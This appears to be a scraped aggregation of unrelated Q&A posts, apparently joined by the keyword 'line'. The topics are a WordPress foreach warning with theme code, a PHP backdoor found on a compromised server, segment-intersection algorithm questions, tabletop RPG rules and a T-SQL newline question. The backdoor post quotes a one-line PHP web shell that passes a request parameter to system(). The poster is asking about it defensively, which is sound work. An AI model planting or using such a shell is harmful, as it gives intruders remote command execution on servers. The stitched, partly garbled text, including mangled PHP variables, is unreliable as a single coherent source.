PHP Warning: Invalid argument supplied for foreach() in /home/padtvro/public_html/wp-content/themes/claudia/content.php on line 30

I have a problem, it is generated in woprdpree in cpanel error log this error: PHP Warning: Invalid argument supplied for foreach () in /home/padtvro/public_html/wp-content/themes/claudia/content.php on line 30 If I delete it, it appears again in 6-7 hours. What’s the problem?

<section id="contents" class="clearfix"><div class="row main_content"><div class="container content_wraper"><?php the_breadcrumb(); ?><div class="grid_8" id="content"><div class="widget_container content_page"><?php require_once dirname(__FILE__) . '/include/cat.php'; ?>  </div></div><div class="grid_4 p7ehc-a" id="sidebar"> <?php $  ge_sidebar = '';                  if (is_search()) {                       $  ge_sidebar = of_get_option('se_sidebar','');                     }else if(is_category() ) {                          $  category = get_the_category();                                               $  cn_sidebar ='';                         foreach($  category as $  ca_id) {                             if(empty($  cn_sidebar)) { $  cn_sidebar = of_get_option('cat_'.$  ca_id->term_id);}                                                        }                          if(empty($  cn_sidebar)) {                             $  ge_sidebar = of_get_option('cat_sidebar','');                         } else { $  ge_sidebar = $  cn_sidebar; }                       } else if(is_author() ) {                          $  ge_sidebar = of_get_option('au_sidebar','');                      }else if(is_tag() ) {                          $  tags = get_the_tags();                                               $  cn_sidebar ='';                         foreach($  tags as $  tg_id) {                             if(empty($  cn_sidebar)) { $  cn_sidebar = of_get_option('tag_'.$  tg_id->term_id);}                                                       }                          if(empty($  cn_sidebar)) {                             $  ge_sidebar = of_get_option('tag_sidebar','');                         } else { $  ge_sidebar = $  cn_sidebar; }                     }                                   $  dyn_sidebar ='';                 if(!empty($  ge_sidebar)) {   $  dyn_sidebar = $  ge_sidebar; };                                foreach ( $  GLOBALS['wp_registered_sidebars'] as $  sidebar ) {                     if($  sidebar['name'] == $  dyn_sidebar)                         {                              $  dyn_sidebar = $  sidebar['id'];                         }                 }                   if(!empty($  dyn_sidebar)) {                     if (is_active_sidebar($  dyn_sidebar)) : dynamic_sidebar($  dyn_sidebar);                     endif;                   } else{                     if (is_active_sidebar('center-sidebar')) : dynamic_sidebar('center-sidebar');                     endif;                 }      ?></div><div class="clear"></div></div></div></section>  

Server was compromised, found this line in a recently modified PHP file [closed]

I found this at the top of a PHP file in the web server:

<?php if(isset($ _REQUEST['xxx'])){ echo "<pre>"; $ xxx = ($ _REQUEST['xxx']); system($ xxx); echo "</pre>"; die; }?>

I’m guessing this is how they got the server to execute whatever commands they wanted to get in.

Does anyone know how this might have slipped into the PHP file in the first place? I know it’s an extremely vague and stupid question, but I’m stumped. Did they likely already have access to the server and slipped this in as a backdoor for later?

Data structure to query intersection of a line and a set of line segments

We want to pre-process a set of $ n$ line segments in $ S$ into a data structure, such that we can answer some queries: Given a query line $ l$ , report how many line segment in $ S$ dose it intersect.

It is required that the query should be done in $ O(\log{n})$ time. The data structure itself should take up to $ O(n^{2})$ storage and be built in $ O(n^{2}\log{n})$ time. It is suggested that it should be done in dual plane.

I understand that the question may require me to look for the number of double wedge that the a query point is in, but I can’t think of any efficient data structure to report such information. Any suggestions?

This question is basically a homework question from the textbook Computational Geometry by de Berg et al (Question 8.15). I would like to apologize that this question may not be exciting to you.

Calculating number of intersections of a horizontal line with line segments efficiently

I’m given an array $ A = [a_1, a_2, ….a_n] $ using which I construct $ n-1$ contiguous line segments by drawing a line from $ (i,a_i)$ to $ (i+1, a_{i+1})$ . Now, I’m given $ q$ queries in the form of $ x_1, x_2, y, l, r$ where $ l$ and $ r$ are the range for the array $ A$ and the rest indicate a horizontal line segment $ L$ from $ (x_1, y)$ to $ (x_2, y)$ . For each query, I want to find total intersections of $ L$ and the segments in the range $ l$ and $ r$ in $ O(n+q)$ or $ O(n + q\log{n})$ complexity.
I was able to arrive at a solution that works in $ O(nq)$ which simply traverses each range and calculates whether $ L$ intersects with the segments or not.
I believe, some pre-processing can be done on $ A$ which can reduce the complexity.
Any leads will be appreciated!

find the number of line segments that willl intersect that will intersect with a horizontal line?

So,we have been given N points in a plane (numbered 1 through N) and for each valid i, the i-th point is Pi=(i,Ai) and each line segment is formed by connecting the points Pi and Pi+1.

Now,we are given Q horizontal line segments,for every horizontal line segment, we have to find the number of line segments (from those N-1 line segments) it touches or intersects.

So this is the problem where : 2<=N<= 100000 1<=Q<= 100000

Can somebody tell me how to solve this in an efficient way?

Does casting a spell with a long casting time require the target to stay in range and line of sight the whole time?

When casting a spell with a casting time greater than an action, do range and line of sight need to be maintained for the entire time?

For instance, does a cleric casting Prayer of Healing need the targets to be within 30 ft. and in line of sight for just the start of the spell, just the end or for the entire casting time.

Certain spells, such as Identify or Planar Binding, explicitly mention needing to stay within range for the casting time. Other spells like Magic Circle only imply you stay in range since the casting time represent drawing out the circle.

I’m fairly confident that one does indeed, need to stay in range at least. This line suggests that before a spell is cast, it remains limited by its range:

Once a spell is cast, its effects aren’t limited by its range, unless the spell’s description says otherwise.

I haven’t found a rule requiring that one maintains line of sight.

The situation that this question arose from had an uncontrolled celestial being summoned into a magic circle. The wizard began to cast Planar Binding on it and realized that they could simply step into another room while they completed the spell, which seemed to trivialize what might otherwise be a very challenging task.

How can I output a new line with `FORMATMESSAGE` in transact sql?

The following code stats that, how many users that has created at least one post on a specific SE site.

DECLARE @RowCount INT SET @RowCount = (SELECT COUNT(DISTINCT OwnerUserId)  FROM Posts where OwnerUserId is not null) PRINT FORMATMESSAGE('%s has \r\n %d users', DB_NAME(), @RowCount+1) 

which basically works though, the FORMATMESSAGE part does not work as expected.

Usually, \n (in lots of systems and languages) and \r\n (mainly in MS systems) represent new line. I tried both, and even /r/n, none of them worked.

How can I output a new line with FORMATMESSAGE in transact sql?

Does the spell line in the sand work with opportune parry riposte?

Opportune parry states:

Opportune Parry and Riposte (Ex): At 1st level, when an opponent makes a melee attack against the swashbuckler, she can spend 1 panache point and expend a use of an attack of opportunity to attempt to parry that attack.

Line in the sand states:

You create a glowing crimson line around the area. Against creatures in the area, you can attempt a number of additional attacks of opportunity per round equal to your spellcasting ability score modifier (Intelligence for magi and wizards, Charisma for bloodragers and sorcerers), although this does not allow you to make more than one attack against a creature per action that provokes.

Can you make multiple parry-ripostes in the area of the spell?